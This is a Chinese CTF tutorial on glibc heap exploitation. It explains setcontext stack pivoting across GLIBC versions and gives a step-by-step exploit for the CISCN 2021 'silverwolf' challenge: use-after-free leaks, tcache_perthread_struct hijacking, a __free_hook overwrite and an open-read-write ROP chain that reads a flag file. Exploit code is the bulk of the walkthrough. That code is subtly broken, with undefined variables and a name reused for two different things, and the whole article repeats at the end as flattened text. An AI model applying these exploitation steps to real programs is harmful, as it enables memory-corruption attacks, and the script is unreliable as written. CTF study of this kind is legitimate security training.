跟上时代之高版本GLIBC下堆利用(一)
字数 1147 2025-08-07 08:22:31

高版本GLIBC下堆利用技术:setcontext利用详解

0x00 背景介绍

在现代CTF比赛和实际漏洞利用中,随着GLIBC版本的提升,传统的堆利用技术面临诸多挑战。本文详细讲解高版本GLIBC环境下setcontext函数的利用技术,这是绕过沙箱实现ORW(open-read-write)攻击的关键技术。

0x01 setcontext函数原理分析

GLIBC 2.27及以下版本

在libc-2.27.so中,setcontext函数以rdi寄存器为索引向各寄存器传输数值:

mov    rsp,QWORD PTR [rdi+0xa0]
mov    rbx,QWORD PTR [rdi+0x80]
mov    rbp,QWORD PTR [rdi+0x78]
mov    r12,QWORD PTR [rdi+0x48]
mov    r13,QWORD PTR [rdi+0x50]
mov    r14,QWORD PTR [rdi+0x58]
mov    r15,QWORD PTR [rdi+0x60]
mov    rcx,QWORD PTR [rdi+0xe0]
push   rcx
...
ret

关键点:

  1. rdi+0xa0处的值会被赋给rsp,实现栈劫持
  2. rdi+0xe0处的值会被赋给rcx,随后被压栈并通过ret指令控制程序流

GLIBC 2.29及以上版本

从GLIBC 2.29开始,setcontext的索引寄存器从rdi改为rdx:

mov    rsp,QWORD PTR [rdx+0xa0]
mov    rbx,QWORD PTR [rdx+0x80]
...

这使得利用难度增加,需要先控制rdx寄存器。

0x02 利用方法

基本利用流程

  1. 劫持控制流:通常通过__free_hook调用setcontext,因为free的参数是堆块地址,天然可以作为rdi/rdx的初始值
  2. 栈劫持:通过控制rdi+0xa0(或rdx+0xa0)处的值来设置rsp
  3. 控制程序流:通过控制rdi+0xe0(或rdx+0xe0)处的值来设置返回地址

常用gadget

对于GLIBC 2.29-2.32,可使用以下gadget间接控制rdx:

mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

0x03 实际利用示例:CISCN 2021 silverwolf

题目分析

  • 64位程序,GLIBC 2.27
  • 存在UAF漏洞
  • 无double free检测

利用步骤

  1. 泄露堆地址
add(0x30)
delete()
edit("a"*0x10)
delete()
show()
heap = u64(ru("\n").ljust(8, b"\x00"))
heap_base = heap - 0x1920
  1. 劫持tcache头
head = heap_base + 0x10
add(0x30)
edit(p64(head))
add(0x30)
add(0x30)
  1. 泄露libc地址
str = p64(0)*4 + p64(0x00000000ff000000)
edit(str)
delete()
show()
libc = u64(ru("\n").ljust(8, b"\x00"))
libc_base = libc - 0x70 - libc.sym["__malloc_hook"]
setcontext = libc_base + libc.sym["setcontext"] + 53
free_hook = libc_base + libc.sym["__free_hook"]
  1. 构造ORW链
flag_addr = heap_base + 0x2000
pop_rax_ret = base + 0x000000000001ced0
pop_rdi_ret = base + 0x000000000002144f
pop_rsi_ret = base + 0x0000000000021e22
pop_rdx_ret = base + 0x0000000000001b96
read = base + libc.sym["read"]
write = base + libc.sym["write"]
syscall = read_f + 0xf

orw = p64(pop_rdi_ret) + p64(flag_addr)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(flag_addr)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(read_f)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(pop_rsi_ret) + p64(flag_addr)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(write_f)
  1. 劫持tcache_perthread_struct
add(0x48)
edit(p64(0)*9)
for i in range(5):
    add(0x10)
add(0x18)
edit(p64(heap_base+0x50))
add(0x38)  # 申请到tcache_entry
  1. 布置tcache_entry指针
orw_addr = heap_base + 0x1000
payload = p64(free_hook)  # 0x20大小的tcache链
payload += p64(heap_base + 0x2000)  # 0x30大小的tcache链(作为rdi的堆块)
payload += p64(heap_base + 0x20A0)  # rdi+0xa0(劫持的栈地址)
payload += p64(heap_base + 0x2000)  # 0x50
payload += p64(orw_addr + 0x60) + p64(orw_addr)  # 0x60和0x70放ORW链
payload += p64(0)
edit(payload)
  1. 最终利用
add(0x10)
edit(p64(setcontext))  # 劫持free_hook
add(0x20)
edit("./flag\x00")  # 作为filename
add(0x30)
pl = p64(orw_addr) + p64(pop_rdi_ret+1)  # 控制rsp
edit(pl)
add(0x60)
edit(orw[:0x60])
add(0x50)
edit(orw[0x60:])  # 布置ORW链
delete()  # 触发

0x04 高版本GLIBC下的变化与应对

GLIBC 2.29及以上版本中,setcontext的索引寄存器从rdi改为rdx,这使得利用更加困难。解决方案:

  1. 寻找能够通过rdi间接控制rdx的gadget
  2. 常用的gadget位于getkeyserv_handle+576
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

0x05 总结

setcontext利用是高版本GLIBC下绕过沙箱实现ORW攻击的核心技术,关键点包括:

  1. 理解setcontext函数在不同GLIBC版本中的行为差异
  2. 掌握通过堆漏洞劫持tcache_perthread_struct的技术
  3. 熟练构造ORW链并正确布置内存布局
  4. 针对高版本GLIBC的调整策略

通过本文的详细分析,读者应该能够掌握setcontext在各种GLIBC版本下的利用方法,并能够应用于实际的CTF比赛和漏洞利用场景中。

高版本GLIBC下堆利用技术:setcontext利用详解 0x00 背景介绍 在现代CTF比赛和实际漏洞利用中,随着GLIBC版本的提升,传统的堆利用技术面临诸多挑战。本文详细讲解高版本GLIBC环境下setcontext函数的利用技术,这是绕过沙箱实现ORW(open-read-write)攻击的关键技术。 0x01 setcontext函数原理分析 GLIBC 2.27及以下版本 在libc-2.27.so中,setcontext函数以rdi寄存器为索引向各寄存器传输数值: 关键点: rdi+0xa0 处的值会被赋给rsp,实现栈劫持 rdi+0xe0 处的值会被赋给rcx,随后被压栈并通过ret指令控制程序流 GLIBC 2.29及以上版本 从GLIBC 2.29开始,setcontext的索引寄存器从rdi改为rdx: 这使得利用难度增加,需要先控制rdx寄存器。 0x02 利用方法 基本利用流程 劫持控制流 :通常通过 __free_hook 调用setcontext,因为free的参数是堆块地址,天然可以作为rdi/rdx的初始值 栈劫持 :通过控制 rdi+0xa0 (或 rdx+0xa0 )处的值来设置rsp 控制程序流 :通过控制 rdi+0xe0 (或 rdx+0xe0 )处的值来设置返回地址 常用gadget 对于GLIBC 2.29-2.32,可使用以下gadget间接控制rdx: 0x03 实际利用示例:CISCN 2021 silverwolf 题目分析 64位程序,GLIBC 2.27 存在UAF漏洞 无double free检测 利用步骤 泄露堆地址 劫持tcache头 泄露libc地址 构造ORW链 劫持tcache_ perthread_ struct 布置tcache_ entry指针 最终利用 0x04 高版本GLIBC下的变化与应对 GLIBC 2.29及以上版本中,setcontext的索引寄存器从rdi改为rdx,这使得利用更加困难。解决方案: 寻找能够通过rdi间接控制rdx的gadget 常用的gadget位于 getkeyserv_handle+576 : 0x05 总结 setcontext利用是高版本GLIBC下绕过沙箱实现ORW攻击的核心技术,关键点包括: 理解setcontext函数在不同GLIBC版本中的行为差异 掌握通过堆漏洞劫持tcache_ perthread_ struct的技术 熟练构造ORW链并正确布置内存布局 针对高版本GLIBC的调整策略 通过本文的详细分析,读者应该能够掌握setcontext在各种GLIBC版本下的利用方法,并能够应用于实际的CTF比赛和漏洞利用场景中。